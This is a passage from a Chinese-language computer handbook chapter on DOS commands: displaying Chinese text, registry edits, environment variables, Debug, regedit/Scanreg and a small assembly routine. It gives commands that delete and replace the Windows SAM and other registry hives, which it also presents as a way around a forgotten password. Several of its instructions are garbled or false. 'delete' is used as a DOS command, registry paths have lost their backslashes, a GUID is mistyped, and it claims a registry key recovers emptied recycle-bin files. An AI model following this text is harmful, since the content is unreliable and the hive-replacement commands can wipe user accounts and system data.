图7-92　选择“锁定/解锁”选项

图7-93　“锁定/解锁”对话框

第8章　DOS命令的实际应用

Windows系统的功能非常强大，但在日常操作过程中会遇到一些Windows很难解决的问题，如实现文件的合并和隐藏，NTFS格式中的纯DOS环境等，通过一些DOS命令就可以很容易解决这些问题。

主要内容：

●DOS命令的基础应用

●在DOS中进行文件操作

●可能出现的问题与解决方法

●DOS中的环境变量

●网络中的DOS命令运用

●总结与经验积累

8.1　DOS命令的基础应用

DOS的精髓在于命令的使用，众所周知，用DOS命令可以很容易解决Windows解决不了的问题。

8.1.1　在DOS下正确显示中文信息

许多用户在Windows中建立文件夹或文件时喜欢用中文命名。当Windows由于发生故障而无法进入、需要格式化硬盘重新安装系统时，就会出现下面的问题：由于需要先在纯DOS下备份文件（夹）的内容，但在默认情况下纯DOS并不支持中文，因此运行dir命令后出现一堆乱码，根本无法进行复制。

下面介绍的两种方法可以在DOS下正确显示中文信息。

1.自力更生法

其实从Windows 95开始，微软公司就在相应的DOS版本中内置了中文系统和拼音、双拼、国标、区位等4种中文输入法。在引导计算机进入纯DOS后，在命令提示符后键入“PDOS95”命令，系统会自动运行pbios.exe文件并加载中文字体驱动和输入法，如果加载成功会在屏幕右下角出现“Windows 95中文DOS状态”的提示信息。这时候在纯DOS下就可以显示并输入16×16点阵的汉字，运行“dir”命令，原来的乱码就不见了。输入法通过“Ctrl+Shift”组合键来切换，而对于长文件名需要输入“~”字符，要切换回英文模式。

2.借用外力法

“自力更生法”输入中文的前提是保证相应的系统文件完好，如果这几个文件受损，那么汉字系统将无法加载。不过可以使用Mousclip软件解决这个问题，它是一款鼠标增强驱动程序，在DOS下驱动各种串口和PS/2鼠标，就可以用鼠标在屏幕上对文字进行复制/粘贴等操作。

在加载Mousclip之前，需要先加载鼠标驱动程序，其大小只有8 KB，运行Mousclip.exe文件，此时会在屏幕上看到一个可移动的鼠标提示符。

提示

在正确显示中文信息时，由于纯DOS不支持NTFS分区，所以如果要对这类分区进行操作，可以去下载NTFS FOR DOS这个软件。Mousclip能复制或粘贴的执行对象是可在屏幕显示的任何字符（当然包括乱码，也可以用于怪异号码的输入）。

在“借用外力法”中，如果因为文件夹数目很多，导致要复制的乱码无法在当前屏幕上显示，可以使用“dir/p”命令分页显示。

在DOS下文件名长度不能超过8个字符，即使通过加载PDOS95方法修正乱码，可能还是无法找对文件，因为仍然只能显示8个字符（4个汉字）。解决办法是尽量将文件夹名称控制在8个字符以内，并加载DOS的较高版本（如DOS 7.1版），它们一般都支持中文、长文件名、NTFS分区、鼠标等。

8.1.2　恢复误删除文件

经常使用计算机的用户也许会碰到这样的情况：刚刚把回收站中的文件清空，却突然想起这些文件是需要的，但被误删了。通过DOS命令和修改注册表即可把这些文件重新找回来。

1.恢复误删回收站

有时候把不需要的文件放到回收站中，但某些人有清空回收站的习惯，刚放进回收站就直接删除了，当转过头需要时就后悔莫及。一般来说，要把回收站中误删的文件恢复，除非借助软件。但现在不需要软件也可以把回收站误删除文件恢复过来。

具体的操作步骤如下：

步骤1：在“注册表编辑器”窗口中依次展开HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE子项，如图8-1所示。

图8-1　“注册表编辑器”窗口

步骤2：在左边空白处右击，在弹出的快捷菜单中选择“新建”→“Dword”菜单项，如图8-2所示。在打开的对话框中将其命名为“645FFO40-5081-101B-9F08-00AA002F954E”，把“默认”的主键键值设为“回收站”并退出注册表，如图8-3所示。

步骤3：在设置完毕之后重启系统，只要机器没有运行过磁盘整理且系统完好，任何时候的文件都可以找回来。

2.恢复误删除的sam文件

在Windows XP系统中，系统账户和密码保存在Windows\system32\config\下的sam文件中。因为sam文件是当初安装Windows XP系统时产生的，这样操作会丢失安装系统时以及用户自己在系统中创建的用户和用户组，即用户信息回到全新安装时的状态。但如果进行系统还原，可以先成功登录Windows XP，再还原到最新的还原点，即可恢复全部的用户设置。如果忘记用户密码，也可以用这种方法解决这个问题。

图8-2　新建主键

图8-3　修改默认值

如果把sam文件删除，就会造成Windows XP账户丢失，不能进入Windows XP登录界面。幸运的是，在安装Windows XP时系统备份过一个sam文件在Windows\repair\sam位置上，同时还有其他4个注册表文件，可以利用它们来恢复系统登录。

在启动盘引导下进入DOS中执行下列命令，即可恢复误删除的sam文件（假设系统安装在C盘）：

delete c ： \Windows\system32\config\sam

delete c ： \Windows\system32\config\system

delete c ： \Windows\system32\config\software

delete c ： \Windows\system32\config\security

delete c ： \Windows\system32\config\default

copy c ： \Windows\repair\system  c ： \Windows\system32\config\system

copy c ： \Windows\repair\software  c ： \Windows\system32\config\ software

copy c ： \Windows\repair\sam  c ： \Windows\system32\config\sam

copy c ： \Windows\repair\security  c ： \Windows\system32\config\security

copy c ： \Windows\repair\default  c ： \Windows\system32\config\default

8.1.3　让DOS窗口无处不在

每次启动DOS命令行时，命令提示符默认为系统盘的根目录。如果需要进入一个多层次的子目录，就会十分麻烦：需要不停地用cd命令进行目录切换，而且如果遇到长文件名或中文目录名时，很容易出错。为了避免这种麻烦，可以进行以下操作，当需要在某个文件夹中使用命令行时，只需在“Windows资源管理器图形”窗口中选择该文件夹并右击，再选择相应的命令执行，而不需要再通过层层目录切换进入了。

1.导入reg文件法

在注册表中进入DOS窗口的具体操作步骤如下：

步骤1：打开“记事本”程序并在文本中输入如下内容，尽量避免输入错误（两段话中间必须有一空行，格式如图8-4所示）。

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOTDirectoryshellcmd] 

@=" 在这里打开命令行窗口 " 

[HKEY_CLASSES_ROOTDirectoryshell cmdcommand] 

@="cmd.exe /k "cd %L"" 

步骤2：在输入完成之后将其另存为“在此使用命令行.reg”文件。保存方法是在“记事本”窗口中，选择“文件”→“另存为”菜单项，即可打开“另存为”对话框，如图8-5所示。

图8-4　在记事本中输入代码

图8-5　另存为

步骤3：将保存类型选择为“所有文件”，在“文件名”文本框中输入“文件名.扩展名”之后，单击“保存”按钮，即可保存该文件，如图8-6所示。

图8-6　“另存为”对话框

步骤4：随后双击运行这个reg文件进行导入之后，再找一个深层的文件夹右击，就可以看到“在此使用命令行”选项了。

2.修改注册表法

在“注册表编辑器”窗口中依次定位到“HKEY_CLASSES_ROOT/Folder/shell”主键，再在shell项上右击并选择“新建”选项，将新建的项命名为“MS-DOS”。

在刚建好的“MS-DOS”键上右击并选择“新建”选项，将新建的项命名为“command”之后，选择此command子键，在注册表编辑器的右窗格中，双击名称下的“默认”选项，再在数值数据中输入DOS命令行所在的目录。

下面测试一下，进入Windows资源管理器D盘中的Tools目录之后，右击并选择“MS-DOS”命令，就出现了“D：Tools〉”选项。

3.安装INF文件法

通过安装INF文件也可以达到同样的效果。打开记事本程序窗口，在其中输入如下代码：

[version]

signature="$CHICAGO$"

[CmdHereInstall]

CopyFiles = CmdHere.Files.Inf

AddReg = CmdHere.Reg

[DefaultInstall]

CopyFiles = CmdHere.Files.Inf

AddReg = CmdHere.Reg

[DefaultUnInstall]

DelFiles = CmdHere.Files.Inf

DelReg = CmdHere.Reg

[SourceDisksNames]

55="CMD Prompt Here","",1

[SourceDisksFiles]

CmdHere.INF=55

[DestinationDirs]

CmdHere.Files.Inf = 17

[CmdHere.Files.Inf]

CmdHere.INF

[CmdHere.Reg] 

HKLM,%UDHERE%,DisplayName,,"%CmdHereName%" 

HKLM,%UDHERE%,UninstallString,,"rundll32.exe syssetup.dll, SetupInfObjectInstallAction DefaultUninstall 132 %17%CmdHere.inf"

HKCR,DirectoryShellCmdHere,,,"%CmdHereAccel%" 

HKCR,DirectoryShellCmdHerecom-mand,,,"%11%cmd.exe /k cd ""%1""" 

HKCR,DriveShellCmdHere,,,"%CmdHereAccel%" 

HKCR,DriveShellCmdHerecommand,,,"%11%cmd.exe /k cd ""%1"""

[Strings] 

CmdHereName="CMD Prompt Here PowerToy"

CmdHereAccel="CMD &Prompt Here"

UDHERE="SoftwareMicrosoftWindows

CurrentVersionUninstallCmdHere"

在输入完毕之后将其另存为一个名为CmdHere.inf的文件。随后右击该文件，在弹出的快捷菜单中选择“安装”选项，即可为鼠标右键添加一个“CMD Prompt Here”选项。注意各段代码之间必须有空行，必须严格按照上文的格式。

8.1.4　DOS系统的维护

计算机操作系统需要定期、全面的维护，才可以发挥出最佳的性能。那么，对于DOS系统也不例外，主要是做如下几个方面的工作。

·定期检查磁盘的错误

磁盘是计算机文件的重要存储位置，一旦磁盘出现错误就会造成文件丢失的情况，DOS系统中有许多命令可以用来检查磁盘，如CHKDSK、SCANDISK等。只有定期检查磁盘，才能保证磁盘使用的稳定性。

·定期检查病毒

从广义上定义，凡能够引起计算机故障，破坏计算机数据的程序统称为计算机病毒。在计算机病毒出现的初期，往往注重于病毒对信息系统的直接破坏作用，比如格式化硬盘、删除文件数据等，并以此来区分恶性病毒和良性病毒。其实这些只是病毒劣迹的一部分，随着计算机应用的发展，人们深刻地认识到凡是病毒，都可能对计算机信息系统造成严重破坏。

而寄生在磁盘上的病毒总要非法占用一部分磁盘空间。引导型病毒的一般侵占方式是由病毒本身占据磁盘引导扇区，而把原来的引导区转移到其他扇区，也即引导型病毒要覆盖一个磁盘扇区。被覆盖的扇区数据永久性丢失，无法恢复。文件型病毒利用一些DOS功能进行传染，这些DOS功能能够检测出磁盘的未用空间，把病毒的传染部分写到磁盘的未用部位去。所以在传染过程中一般不破坏磁盘上的原有数据，但非法侵占了磁盘空间。一些文件型病毒传染速度很快，在短时间内感染大量文件，每个文件都不同程度地加长了，就造成磁盘空间的严重浪费。

另外，病毒进驻内存后不但干扰系统运行，还影响计算机速度，主要表现在如下几个方面：

1）病毒为了判断传染激发条件，总要对计算机的工作状态进行监视，这相对于计算机的正常运行状态既多余又有害。

2）有些病毒为了保护自己，不但对磁盘上的静态病毒加密，而且进驻内存后的动态病毒也处在加密状态，CPU每次寻址到病毒处时，要运行一段解密程序把加密的病毒解密成合法的CPU指令再执行，而病毒运行结束时再用一段程序对病毒重新加密。这样，CPU额外执行数千条以至上万条指令。

3）病毒在进行传染时同样要插入非法的额外操作，特别是传染软盘时不但计算机速度明显变慢，而且软盘正常的读写顺序被打乱，发出刺耳的噪声。

·定期备份重要的数据

由于误操作或硬件故障等原因，造成的数据丢失情况随时都可能发生，所以备份数据就十分必要了。系统应该提供数据备份和恢复的功能，网络管理员可以定期备份用户管理数据和用户上网记录。当系统出现意外情况，数据被破坏时，能够迅速进行数据恢复。

·需要进行如定期整理磁盘碎片，删除垃圾文件，以及将文件和软件归类以方便使用等一些其他维护。

·对于系统配置的维护也是非常重要的，也可以使用一些（如用MEMMAKER等）工具软件来进行自动维护，这样可以节省时间和精力。

8.2　DOS中的环境变量

环境变量相当于给系统或用户应用程序设置的一些变量，具体起什么作用和具体的环境变量相关。

环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数，比如临时文件夹位置和系统文件夹位置等。这有点类似于DOS时期的默认路径，当你运行某些程序时除了在当前文件夹中寻找外，还会到设置的默认路径中去查找。

设置环境变量有两种方式：

第一种是在命令提示符窗口中设置（只对当前运行窗口有效，关闭运行窗口后，设置不起作用）。

第二种是通过选择“我的电脑”→“属性”，打开“系统属性”对话框，单击“环境变量”按钮，如图8-7所示。打开“环境变量”对话框，对“环境变量”进行设置（设置永久有效），如图8-8所示。

图8-7　“系统属性”对话框

图8-8　“环境变量”对话框

8.2.1　SET命令的使用

SET命令的作用是显示、设置或删除cmd.exe环境变量。命令格式为：SET[variable=[string]]。

·variable：指定环境变量名。

·string：指定要指派给变量的一系列字符串。

要显示当前环境变量，可键入不带参数的SET命令。如果命令扩展被启用，可仅用一个变量激活SET命令，等号或值不显示所有前缀匹配。SET命令可以显示已使用的名称的所有变量的值。例如：SET P命令会显示所有以字母P打头的变量。如果在当前环境中找不到该变量名称，SET命令将把ERRORLEVEL设置成1。SET命令不允许变量名含有等号。

在SET命令中添加了两个新命令行开关：

·SET/A expression

·SET/P variable=[promptString]

如果使用任何逻辑或取余操作符，需要将表达式字符串用引号括起来。在表达式中的任何非数字字符串键作为环境变量名称，这些环境变量名称的值已在使用前转换成数字。如果指定了一个环境变量名称，但未在当前环境中定义，那么值将被定为零。这可以使用环境变量值做计算，而不用键入那些%符号来得到它们的值。

如果SET/A是在命令脚本外的命令行执行的，则它显示该表达式的最后值。该分配的操作符在左边需要一个环境变量名称。除十六进制有0x前缀，八进制有0前缀外，数字值为十进位数字。因此，0x12与18和022相同。请注意八进制公式可能很容易搞混：08和09是无效的数字，因为8和9不是有效的八进制位数。

在“命令提示符”窗口中输入SET命令，其运行结果如图8-9所示。

图8-9　输入SET命令后看到的窗口

8.2.2　使用Debug命令

启动Debug，即可将其用于测试和调试MS-DOS可执行文件的程序。

其命令格式为：Debug[[drive：][path]filename[parameters]]。

·[drive：][path]filename：指定要测试的可执行文件的位置和名称。

·parameters：指定要测试的可执行文件所需要的任何命令行信息。

需要说明的是使用Debug命令不指定要测试的文件，如果使用没有位置和文件名的Debug命令，键入所有的Debug命令以响应Debug提示符。

以下是Debug命令列表：

·？：显示Debug命令列表。

·c：比较内存的两个部分。

·e：从指定地址开始，将数据输入到内存。

·g：运行在内存中的可执行文件。

·i：显示来自特定端口的1字节值。

·a：汇编8086/8087/8088记忆码。

·d：显示部分内存的内容。

·f：使用指定值填充一段内存。

·h：执行十六进制运算。

·l：将文件或磁盘扇区内容加载到内存。

·m：复制内存块中的内容。

·o：向输出端口发送1个字节的值。

·/n：为l或w命令指定文件或指定正在测试文件的参数。

·p：执行循环、重复的字符串指令、软件中断或子例程。

·q：停止Debug会话。

·r：显示或改变一个或多个寄存器。

·s：在部分内存中搜索一个或多个字节值的模式。

·t：执行一条指令，再显示所有寄存器的内容、所有标志的状态和Debug下一步要执行的指令的解码形式。

·u：反汇编字节并显示相应的原语句。

·xa：分配扩展内存。

·xm：映射扩展内存页。

·w：将被测试文件写入磁盘。

·xd：释放扩展内存。

·xs：显示扩展内存的状态。

所有Debug命令都接受参数，除了q命令之外。可以用逗号或空格分隔参数，但只有在两个十六进制值之间才需要这些分隔符。因此，如下命令的等价关系为：

dcs：100110

d cs：100110

d，cs：100，110

Debug命令中的address参数指定内存位置。Address是一个包含字母段记录的二位名称或一个四位字段地址加上一个偏移量。可以忽略段寄存器或段地址。a，g，l，t，u和w命令的默认段是CS。所有其他命令的默认段是DS。所有数值均为十六进制格式。

其有效地址（在段名和偏移量之间要有冒号）如下：

CS:0100

04BA:0100

Debug命令中的range参数指定了内存的范围。可以为range选择两种格式：起始地址和结束地址，或起始地址和长度范围（由l表示）。

例如，下面两个语法都可以指定从CS：100开始的16字节范围：

cs:100 10f

cs:100 l 10

8.2.3　认识不同的环境变量

环境变量是环境不可缺少的部分，和批处理文件联系紧密，常见环境变量如下：

（1）COMSPEC变量

这个变量的作用是确定COMMAND.COM文档的位置。通常，假如计算机由硬盘驱动器引导COMSPEC变量，其格式为：COMSPEC=C：\COMMAND.COM。

假如从软盘驱动器引导，其COMSPEC变量格式为：COMSPEC=A：\COMMAND.COM。

使用SET命令能改变COMSPEC的位置，其命令格式为：SET COMSPEC=C：\DOS\COMMAND.COM。

开机后在DOS下执行SET命令一般都会看到：COMSPEC=C：\COMMAND.COM。这时COMMAND.COM驻留在高端内存（如580~630之间），运行大程序时允许覆盖COMMAND.COM驻留的那部分内存，程序运行结束要返回命令提示符（如C：\>）前，COMMAND.COM在内存低端的部分发现高端部分被破坏时，就会自动按COMSPEC环境变量指定的路径自动重新装载。

如果COMSPEC环境没有设置，DOS就不知道该到哪里去找COMMAND.COM。如果用软盘启动DOS，就会发现COMSPEC=A：\COMMAND.COM，如果是DOS高手，完全可以自己写一个DOS的命令处理器代替COMMAND.COM，以用APPLE代替DIR命令。

另外，为确保系统能正常运行，用户还需在CONFIG.SYS文档中加上类似“SHELL=C：\DOS\COMMAND.COM/P[/E：1024]”代码，此命令指示DOS在C：\DOS子目录中寻找并运行命令解释程式或外壳程式COMMAND.COM。假如把此命令加到CONFIG.SYS文档中，可提前把COMMAND.COM移到DOS子目录中。P选项指示COMMAND.COM在根目录中寻找AUTOEXEC.BAT文档并运行，假如没有此选项，则根目录下的AUTOEXEC.BAT文档不能运行。

当DOS系统没有更多的空间存储环境变量时，将会看到信息：Out of environment space（环境空间溢出）。出现这种情况后，可利用SHELL命令加大COMMAND.COM的环境空间，可选项E：1024将环境空间扩大到1 KB（1024字节）。

（2）PROMPT变量

这个环境变量显示用户所配置的命令提示符。DOS系统提示符一般配置为显示当前驱动器和路径后接一“>”符号，也可配置为其他类型命令提示符，该变量一般在AUTOEXEC.BAT文档中配置，命令使用的一般格式为：PROMPT[text]，其中text是指定新的命令提示符。

命令提示符可以由普通字符及下列特定代码组成：

$A&：Ampersand

$B|：管道

$C（：左括弧

$D：当前日期

$E Escape码：ASCII码27

$F）：右括弧

$G>：大于符号

$H后退：擦除前一个字符

$L<：小于符号

$N：当前驱动器

$P：当前驱动器及路径

$Q=：等号

$S：空格

$T：当前时间

$V：Windows 2000版本号

$_：换行

$$$：货币符号

如果命令扩展名被启用，则PROMPT命令会支持下列格式化字符：

·$+根据PUSHD目录堆栈的深度，设置零个或零个以上加号（+）字符。

·每个被推的层有一个字符。

$M若当前驱动器不是网络驱动器，则显示跟当前驱动器号或空字符串有关联的远程名。

（3）PATH变量

用户变量PATH是指给计算机用户指定一个寻找路径，通过这个路径可以寻找到所需要的文件。例如：在“运行”对话框中输入“write”命令，如图8-10所示。单击“确定”按钮，即可自动打开写字板，如图8-11所示。而写字板程序一般是存储在C：\Program Files\Windows NT\Accessories目录下。即通过PATH的指引，系统自动在PATH指定的路径里寻找该文件。

图8-10　“运行”对话框

图8-11　打开的写字板

（4）DIRCMD变量

通过将带有DIRCMD环境变量的SET命令包含在Autoexec.nt文件中，可以预置dir参数。可以在set dircmd中使用dir参数的任意有效组合，其中包括文件的位置和名称。

例如，使用DIRCMD环境变量将宽行显示格式（即/w）设置为默认格式，可在Autoexec.bat文件中输入“set dircmd=/w”命令。对于dir命令的单次使用，可以用DIRCMD环境变量来覆盖某个参数。为此，可以在dir命令提示符下键入要覆盖的参数，并在参数前面加上减号（例如：dir/-w）。要更改DIRCMD默认设置，可输入“set=NewParameter”命令来实现。新的默认设置对所有后接的dir命令有效，直到再次使用set dircmd命令或重启系统时为止。

要清除所有默认设置，需要输入“set dircmd=”命令；要查看DIRCMD环境变量的当前设置，需要输入“set”命令。

（5）COPYCMD变量

该变量的作用是用户能够通过配置COPYCMD环境变量，指定COPY、MOVE、XCOPY命令是否先给出提示，经确认后再覆盖文档。

如果强制需要COPY、MOVE、XCOPY命令在任何情况下均先给出提示“Overwrite Filename（YES/NO/ALL）？”，则可把COPYCMD环境变量配置成/-Y（SET COPYCMD=/-Y），用户能够根据需要来选择是否覆盖。也可强制需要COPY、MOVE、XCOPY命令在任何情况下都不提示就进行覆盖，则把COPYCMD环境变量配置成/Y（SET COPYCMD=/Y）。这里所配置的COPYCMD环境变量，优先于COPYCMD环境变量的任何缺省值和当前值。

（6）TEMP变量

TEMP是临时文件夹，存储位置是C：\Documents and Settings\Administrator\Local Settings\，其中包括很多临时文件，如收藏夹、浏览网页的临时文件、编辑文件等。这些临时文件都是根据用户操作的过程进行临时保存的。

在DOS系统环境中，TEMP是个常用的环境变量，作用是告诉程序在何处建立临时文档，而有一些程序则需要使用环境变量来识别其要使用的目录，如：SET TEMP=C：\DOS。

由上可知，环境变量TEMP被DOS环境和一些其他程式使用，用来确定当前文档子目录的位置。目录C：\DOS被放入环境中，DOS系统就知道了其当前的文档被放在哪里。

8.2.4　环境变量和批处理

使用环境变量可以控制某些批处理文档和使程序按照用户的意愿进行，以达到控制MS-DOS显示和工作的方式的目的。一般在AUTOEXE.BAT或CONFIG.SYS文档中用SET命令设定用户环境，以便每次启动计算机时系统都能根据用户需要自动配置环境变量。

1.在批处理文档中调用环境变量

如果从批处理文档中调用环境变量值，必须用百分符（%）将变量值括起来。如配置名为WIN32的变量，使其等于字符串C：\Windows\SYSTEM，可以输入“SET WIN32=C：\Windows\SYSTEM”命令。

在批处理文档中可用%WIN32%代替C：\Windows\SYSTEM。另外，在批处理文档中包括“DIR%WIN32%”命令，用来显示C：\Windows\SYSTEM环境变量的目录内容。在MS-DOS中处理DIR%WIN32%命令时，可以使用字符串C：\Windows\SYSTEM代替%WIN32%。

2.在批处理文档中保存和恢复原有环境下的路径

用户可以在每一个批处理文档中修改环境变量，而每个批处理文档需要不同的PATH指明路径，以执行批处理下的程式，这就需要用户保存原有环境下的路径。

用户可以在批处理文档中使用一个环境变量暂时存储用户原来的路径，以便在需要时能够恢复，而无需重新用PATH命令来配置。使用的命令为：SET OLDPATH=%PATH%。

批处理文档解释程式把%PATH%变量扩展成用户的当前路径，故OLDPATH变量相当于路径。假如此时系统因使用其他批处理文档而打乱了原系统路径，可简单地在批处理文档中使用下列语句恢复路径的原貌，以满足用户对不同环境的需要。在其中输入“PATH%OLDPATH%”命令之后，其运行结果为：PATH C：\WINDOWS；C：\；C：\DOS；C：\FOXPRO25；C：\UCDOS；C：\GYPC；C：\CCED；C：\HD；C：\SARP。

其实，很多用户都可能在各自的AUTOEXEC.BAT文档中存有“OLDPATH”变量，由于此环境变量总包含原有路径的备份，因此能够很容易地恢复原有路径。

除用户生成环境变量（COMSPEC）给出COMMAND.COM的位置外，PATH配置系统的搜索路径，PROMPT配置系统提示符，COPYCMD环境变量指定COPY、MOVE、XCOPY命令是否对要覆盖的文档进行提示，DIRCMD环境变量能够预置DIR参数和开关项。

8.3　在DOS中进行文件操作

在DOS中可以使用多媒体软件，还可以设置DOS中的文件并抓取DOS窗口中的文本，以及使用设置注册表等。

8.3.1　抓取DOS窗口中的文本

在使用计算机的过程中，经常会遇到某些应用程序或命令只能在DOS环境下执行的情况，如测试网络状况的ping工具、建立路径映射的Subst命令等。开启命令提示符窗口之后，再在该窗口中直接输入相应的命令参数，即可看到执行命令的结果。

但此时若要将程序的执行信息复制下来，相当多的朋友会采用SnagIt等屏幕捕捉工具中的文字抓取功能进行。采用这种方法不但麻烦，而且抓取的结果非常混乱。其实微软在虚拟DOS窗口中已经为大家提供了文本的粘贴、复制功能，而且使用起来相当方便。

具体的操作步骤如下。

步骤1：右键单击标题栏，选择“编辑”→“标记”菜单项，如图8-12所示。

步骤2：单击鼠标左键，选中要复制的文本，此时选中的文本以反白形式显示。右键单击标题栏，选择“编辑”→“复制”菜单项，即可将选中的内容复制下来，如图8-13所示。

图8-12　选择“编辑”→“标记”菜单项

图8-13　选择“编辑”→“复制”菜单项

步骤3：在需要粘贴的位置右键单击，在弹出的菜单中选择“粘贴”选项，如图8-14所示，或者右键单击标题栏，选择“编辑”→“粘贴”菜单项，如图8-15所示，即可将复制的内容粘贴过来，效果如图8-16所示。

图8-14　选择“粘贴”选项

图8-15　选择“编辑”→“粘贴”菜单项

也可以右击窗口标题栏，选择“属性”菜单项，如图8-17所示。打开“属性”对话框，切换至“选项”选项卡，勾选“编辑选项”组中的“快速编辑模式”复选框，单击“确定”按钮，如图8-18所示，就可以随时随地在窗口中进行选中、复制文本等操作。

图8-16　查看粘贴效果

图8-17　选择“属性”菜单项

图8-18　勾选“快速编辑模式”复选框

8.3.2　在DOS中使用注册表

在DOS系统中可以用相应命令实现对注册表的各种操作，如导入和导出注册表、重建注册表、删除注册表的分支以及恢复注册表等。

1.导出/导入注册表

在DOS环境下可以使用“regedit/l：system/R：user/e filename.reg regpath”命令将注册表导出，还可以使用“regedit/l：system/R：user”命令将注册表文件导入。

·/l：system指定system.dat文件的路径。

·R：user：指定user.dat文件的路径。

·filename.reg：指定注册表编辑器要进行导出到哪个REG文件中的操作。

·regpath：指定要导出哪个注册表的分支，若省略则表示导出整个注册表。

2.重建注册表

在DOS环境下可以使用“regedit/l：system/R：user/C file.reg”命令，实现用指定的注册表文件来重建注册表。

3.删除分支

在DOS环境下，如果想删除/D regpath指定的分支，则可以使用“regedit/l：system/R：user/D regpath”格式的命令。

4.恢复注册表

在DOS环境下可以使用Scanreg.exe来进行检查、备份、恢复、修复注册表等操作，其命令格式为：Scanreg[＜option＞]。

8.3.3　在DOS中实现注册表编程

在DOS提示符下键入Regedit命令，将出现一个帮助屏幕。此屏幕给出了命令行参数及其使用方法。

1.语法：

Regedit [/L:system] [/R:user] filename1 

Regedit [/L:system] [/R:user] /C filename2 

Regedit [/L:system] [/R:user] /E filename3 [regpath]

2.参数含义：

·/L：system：指定system.dat文件的存放位置。

·/R：user：指定user.dat文件的存放位置。

·filename1：指定引入注册表数据库的文件名。

·/C filename2：指定形成注册表数据库的文件名。

·/E filename3：指定导出注册表文件的文件名。

·regpath：指定导出注册表文件的开始关键字（缺省为全部关键字）。

下面举几个例子讲述一下regedit.exe在DOS环境下的使用方法。

例1：将系统注册表数据库registry导出到reg2.reg文件中，可使用“regedit/E reg2.reg”命令。

例2：将reg.dat引入系统注册表数据库中（部分），可使用“regedit reg.dat”命令。

例3：将a开始的关键字导出注册表数据库并命名为a.reg，可使用“regedit/E a.reg a”命令。

例4：指定system/dat存放在D：\PWIN中和user.dat的文件存放在E：\PWIN中，将reg.dat数据文件形成一个新的注册表数据库registry，可以使用“regedit/L：D：PWIN/R：E：PWIN/C reg.dat”命令来实现。

下面以更改“*.txt”文件的默认打开方式“记事本”为“写字板”为例。先在MS-DOS提示符下导出注册表“HKEY_CLASSES_ROOT xtfile”子键这一分支，可以使用“regedit/E txt.reg HKEY_CLASSES_ROOT xtfile”命令来实现。

用DOS下的EDIT编辑器打开txt.reg文件进行编辑之后，将其中所有的代码“C：\Windows\Notepad.exe”全部改成“C：\Windows\Write.exe”，保存并退出编辑器之后，再在DOS命令提示符中输入“regedit txt.reg”命令，即可实现更改“*.txt”文件的默认打开方式“记事本”为“写字板”。

当然，严格来说，这并不是编程。如果一定要编程实现，可以将上述实现过程写成一个批处理文件，且其名字为chang.bat。该批处理文件的具体内容如下：

@echo off 

path=c:windows;c:windowscommand;c:dos 

cls 

echo  正在导出注册表……  

regedit /E txt.reg HKEY_CLASSES_ROOT xtfile 

echo

echo  注册表导出完毕 ! 按任一键开始编辑注册表……  

echo

pause 

edit txt.reg 

echo  正在将修改后的注册表导入……  

regedit txt.reg 

echo  恭喜您 ! 在 MS-DOS 方式下成功修改了注册表 ! 

pause 

cls 

@echo on 

这样，就可以在遵循导出注册表文件格式的前提下，对注册表进行任意修改、删除或增加任一子键了。如果觉得还不够程序化，可以发挥DOS环境下各种程序设计语言的优势，加上交互性界面，将这一过程真正程序化，这和Windows系统下利用API函数做出来的效果是一样的。

8.3.4　在DOS中使用注册表扫描程序

Windows操作系统中对注册表的管理程序有两个版本：在Windows环境中的scanregw.exe和在DOS环境中的Scanreg.exe，并用一个Scanreg.ini文件辅助。

由于Scanreg.exe程序是在DOS模式下工作，所以尽管操作系统是中文版的Windows，这时出现的也是英文字符界面。Scanreg程序操作由命令行和一些选项开关组成。命令只有一个Scanreg参数，后面是/，之后就是开关了。如果键入Scanreg/？，则会出现简单的帮助信息。

其中各命令的含义如下：

·Scanreg/backup：备份注册表的命令，执行后开始备份注册表，备份结束出现DOS默认的提示符号。

·Scanreg/restore：执行后系统会列出所备份的注册表文件，列出多少个备份文件与scanreg.ini文件设置有关，一般默认为5个备份文件。每个文件后面都有备份的日期。移动光条进行选择，执行restore，就可以恢复选定的注册表。

·Scanreg/fix：可以在注册表有问题时用其进行修复，此期间有进度条指示修复完成的情况。

·Scanreg/comment＝<＂comment＂>：备份注释文件的命令。可以将该文件备份为cab格式，也可以将别的什么文件备份为cab格式，以减少磁盘空间的浪费。使用这个文件时先执行Scanreg/restore命令，就可以在恢复文件列表中找到它，如果需要，也可以像恢复注册表文件一样对其进行恢复。

系统出现问题，一般都与注册表有关系，这时如果将注册表恢复到较早的一个，就可能会解决问题。当遇到故障使得系统不能工作在Windows模式下时，可以在DOS模式下试试恢复注册表。

8.4　网络中的DOS命令运用

DOS命令对于网络管理员是不可缺少的，他们经常使用DOS命令检测网络中出现的问题，也可以删除不必要的文件。

8.4.1　检测DOS程序执行的目录

执行DOS程序可以很容易确定当前目录，有现成的DOS中断。但当程序是在PAHT指定的目录中执行时，有时就要用到相同目录下的数据文件，这就需要获得执行程序所在的目录。在DOS程序执行的同时，系统要建立一个用于进程的环境块，文件刚开始执行时，DS和ES指向PSP地址，而PSP段的偏移002CH处的一个字的内容就是环境块的段地址。

在环境块中用SET命令可以看到的环境字符串包括PATH、PROMPT串等，每个串以00结尾，整个环境块以0000结束，环境串后为字节0100，再下去是包括全路径的执行文件名，对这个字符串进行处理，截去最后的文件名，即可得到当前文件所在的目录。

下面的汇编代码用于检测DOS程序执行的目录，其具体的内容如下：

...

mov    es,ds:[002ch]    ;DS 指向 PSP 段地址， DS 的 002C 为环境块段地址

mov    cx,0ffffh    ; 取环境块段地址

xor     di,di

xor     al,al

cld

re_scan:

repnz  scasb    ; 查找 00

scasb    ; 判断下一个字节是否为 00

jnz    re_scan    ; 不是，则继续查找

inc    di    ; 找到 00 00 后加 2 字节地址就是文件名

inc    di    ; 现在 ESI 所指的就是执行的文件名

...

8.4.2　内存虚拟盘软件XMS-DSK的使用

内存和一般的外部存储设备，如通常使用的磁盘（包括硬盘、光盘等）相比，有着众多的优点，比如内存的速度非常快，通常比后者快上好几十倍，如果能够将内存当作磁盘设备来存放文件和数据，就可以大大提高操作的速度、效率和方便性，让内存发挥最大的效用。

1.XMS-DSK介绍

XMS-DSK是一款用XMS内存创建虚拟磁盘的工具，必须在有XMS内存的情况下才能使用，通常只要加载DOS自带的HIMEM.SYS程序（最好使用7.10或以上版本的MS-DOS，以让HIMEM.SYS支持64 M以上的XMS内存），就可以随便使用它了。

